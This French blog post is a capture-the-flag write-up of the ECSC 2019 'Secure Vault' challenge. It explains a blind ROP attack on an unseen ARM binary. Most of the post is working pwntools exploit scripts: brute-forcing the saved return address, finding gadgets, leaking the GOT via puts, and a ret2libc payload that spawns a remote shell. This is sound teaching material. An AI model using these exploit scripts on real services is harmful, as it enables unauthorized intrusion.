Blind ROP ARM - ECSC Préquals 2019 - Secure Vault - Writeup

Par Geluchat, mer. 22 mai 2019, dans la catégorie L'actualité commentée

CTF, WriteUp

intro

Dans le cadre des préqualifications de l'ECSC, j'ai eu l'occasion de tester un challenge original dans la catégorie pwn : le challenge Secure Vault.

La mention "aucun binaire n'est fourni avec ce challenge" nous indique que le challenge va être intéressant !

Pour commencer, on se connecte au challenge :

root@Miaou:/# nc challenges.ecsc-teamfrance.fr 4006
Welcome. Please enter your password:
miaou
Wrong password. Bye.

Le binaire a l'air simple, on nous demande un mot de passe : s'il est faux, il affiche "Wrong password" et se ferme.

On essaie donc d'overflow la seule entrée disponible :

root@Miaou:/# nc challenges.ecsc-teamfrance.fr 4006 < <(python -c "print 'a'*80")
Welcome. Please enter your password:

Pas de retour, le binaire a planté !

Nous n'avons pas le binaire, nous allons donc devoir l'exploiter en blind (BROP ARM FTW).

Hypothèse : Les challenges précédents étaient en ARM, on peut donc supposer que celui-ci sera en ARM aussi.

On commence par faire un bruteforce byte à byte pour obtenir le canary/ebp/eip ou PC.

Méthode sur mon article sur le stack canary :

from pwn import *

leak = ""
while len(leak) < 4:
    for i in xrange(256):
        try:
            p=remote("challenges.ecsc-teamfrance.fr",4006)
            hex_byte = chr(i)
            buf = "A"*56 + leak + hex_byte
            p.write(buf)
            dumb=p.recvuntil("\n")
            resp=p.recv(5000)
            if 'Bye' in resp:
                leak += hex_byte
                print("[*] byte : %r" % hex_byte)
                break
            if(i==255):
                raise ValueError('Hum :(')
        except:
            pass

print leak
#Note : CTRL+C quand ça bloque

Suite à ce bruteforce, on obtient seulement 4 bytes : une adresse 0x10634.

On peut en déduire trois choses :

Méthodologie

A partir de là, on va tenter le schéma classique de BROP :

Stop gadget

Le stop gadget se trouve facilement. On bruteforce autour de notre PC actuel et on trouve une chaine qui renvoie "Welcome back" à 0x1065c.

Ce sera notre stop gadget : si on reçoit cette chaine, on sait qu'on a bien jump sur 0x1065c.

from pwn import *
for i in range(0x400):
    try:
        p=remote("challenges.ecsc-teamfrance.fr",4006)
        p.send('a'*56+p32(0x10634+i))
        print i
        p.recv(5000)
        p.recv(5000)
        p.recv(5000)
    except:
        pass

Gadget pour contrôler les registres

Maintenant, le gadget pour les registres.

En ARM, il y a un gadget très connu, qui fait : LDMFD SP! {R4-R10,LR};BX LR.

Autrement dit, il va pop nos valeurs de la stack dans les registres R4,R5,R6,R7,R8,R9,R10 et LR puis jump sur LR.

Avec ce gadget, on contrôle R4 jusqu'à R10.

Ce gadget se situe dans la __libc_csu_init (juste après le main). Il sera toujours présent dans nos binaires.

Pour en être sûr, on prend le binaire d'un autre challenge du même CTF : armory et on obtient : gadget 1

On y trouve aussi deux autres gadgets intéressants, un gadget pour contrôler R0, R1 et R2 suivi d'un jump sur r3 (toujours dans __libc_csu_init) à l'adresse 0x10610 : gadget 2 Ainsi qu'un dans .term_proc pour contrôler r3 (situé de façon relative à __libc_csu_init (l'offset ne change pas)) à l'adresse 0x10644 : gadget 3 Avec ces trois gadgets, on contrôle tous nos registres et on peut jump où on veut.

Bien sur, dans le challenge, l'adresse ne sera pas la même, il faudra utiliser le stop gadget pour trouver la bonne adresse.

Il suffit juste de faire une boucle qui prend en compte le pop de 7 registres (R4-R10) :

from pwn import *

for i in range(0,0x400,4):
    try:
        p=remote("challenges.ecsc-teamfrance.fr",4006)
        p.send('a'*56+p32(0x10600+i)+p32(0)*7+p32(0x1065c))
        dump=p.recvuntil("\n")
        result=p.recv(5000)
        if("Welcome back" in result):
            print i
            print result
        p.close()
    except:
        pass

Dès que le binaire nous renvoie "Welcome back", on sait qu'on a atteint le gadget qui nous intéresse.

[+] Opening connection to challenges.ecsc-teamfrance.fr on port 4006: Done
812
Welcome back!

i like it

A partir de là, c'est déjà le game over. On contrôle tous nos registres, on cherche puts avec un r0 égal à une adresse valide (j'ai pris l'adresse du gadget LDMFD SP! {R4-R10,LR} récupérée au tout début) et on applique la même méthode.

from pwn import *

for i in range(0,0x100,4):
    try:
        p=remote("challenges.ecsc-teamfrance.fr",4006)
        r0=0x1092c
        r1=0
        r2=0
        p.send('a'*56+p32(0x1092c)+p32(0)*3+p32(r0)+p32(r1)+p32(r2)+p32(0)+p32(0x1092c+0x18 )+p32(0x10604+i)+p32(0x1092c-0x1c))
        yolo=p.recvuntil("\n")
        result=p.recv(5000)
        if("\xf0G\xbd\xe8" in result):
            print "\n\n\n\nFound at "+str(i)+"\n\n\n\n"
            print result
        p.close()
    except:
        p.close()
        pass

Si on trouve des caractères hexadécimaux dans l'output correspondant à l'instruction du gadget, on sait que c'est un call puts.

[+] Opening connection to challenges.ecsc-teamfrance.fr on port 4006: Done

Found at 24

\xf0G\xbd\xe8

On peut maintenant leak tout le binaire mais au final, la seule chose qui nous intéresse c'est la GOT.

Celle-ci a une adresse ± fixe vers 0x21000±0x40.

from pwn import *

i=0
base_got=0x21000
leak_got=""
while i<0x40:
    p=remote("challenges.ecsc-teamfrance.fr",4006)
    r0=base_got+i
    r1=0
    r2=0
    p.send('a'*56+p32(0x1092c)+p32(0)*3+p32(r0)+p32(r1)+p32(r2)+p32(0)+p32(0x1092c+0x18 )+p32(0x10604+24)+p32(0x1092c-0x1c))
    dumb=p.recvuntil("\n")
    a=p.recv(5000)[:-1]
    if(len(a)==0):
        i+=1
        leak_got+='\x00'
    i+=len(a)
    leak_got+=a
    p.close()
>>> leak_got[4:]
'X\xe9\x7f\xf6\xfcE~\xf6\x94kn\xf6\xe8\xc8m\xf6\x90Zt\xf6\x8c\xc0m\xf6\xa4\xedp\xf6\x90ct\xf6|\xe9m\xf6tUi\xf6$Tq\xf6\xc0\xe5p\xf6\xf0\x04\x01\x00\xf0\x04\x01\x00\x08tl\xf6d\xbam\xf6\x80\x8eo\xf6\xf0\x04\x01'

Libc + ret2libc

La triche : ici, j'ai pris la libc de armory en supposant que c'était la même que sur le challenge, ça m'a évité d'avoir à tout leak à partir des adresses de la GOT (surtout avec la latence sur le serveur).

Il y a deux vraies méthodes pour leak la libc :

Avec la libc et nos adresses de la GOT, il ne nous reste plus qu'à calculer la différence entre puts et system, et puts et /bin/sh puis à set r0 à l'adresse de /bin/sh et r3 à system (on jump sur r3 à la fin de notre séquence de gadgets).

Pour faire ça, on teste toutes les adresses récupérées jusqu'à trouver la valeur de la GOT de puts et on utilise pwntools pour calculer automatiquement l'adresse de system et /bin/sh.

from pwn import *
libc=ELF('libc.so')

leak_got='X\xe9\x7f\xf6\xfcE~\xf6\x94kn\xf6\xe8\xc8m\xf6\x90Zt\xf6\x8c\xc0m\xf6\xa4\xedp\xf6\x90ct\xf6|\xe9m\xf6tUi\xf6$Tq\xf6\xc0\xe5p\xf6\xf0\x04\x01'
b=[]
for i in range(0,len(leak_got),4):
    b+=[leak_got[i:i+4]]

for leak in b:
    p=remote("challenges.ecsc-teamfrance.fr",4006)
    leak_system =u32(leak)-libc.symbols['puts']+ libc.symbols['system']
    leak_binsh =u32(leak)-libc.symbols['puts']+ next(libc.search('/bin/sh\x00'))
    r0=leak_binsh
    r1=0
    r2=0
    p.send('a'*56+p32(0x1092c)+p32(0)*3+p32(r0)+p32(r1)+p32(r2)+p32(0)+p32(0x1092c+0x18 )+p32(leak_system)+p32(0x1092c-0x1c))
    p.interactive()

Et paf, on obtient un shell.

[x] Opening connection to challenges.ecsc-teamfrance.fr on port 4006
[x] Opening connection to challenges.ecsc-teamfrance.fr on port 4006: Trying 51.91.16.154
[+] Opening connection to challenges.ecsc-teamfrance.fr on port 4006: Done
[*] Switching to interactive mode
Welcome. Please enter your password:
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

meterpreter

Retrospective

Le challenge était vraiment super intéressant. Il ressemblait comme deux gouttes d'eaux à un BROP intel x64 avec le one gadget qui load tous les registres mais ça change de voir un peu d'ARM !

L'année prochaine on veut du MIPS !


Voilà, c’est déjà terminé, n’hésitez pas à suivre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.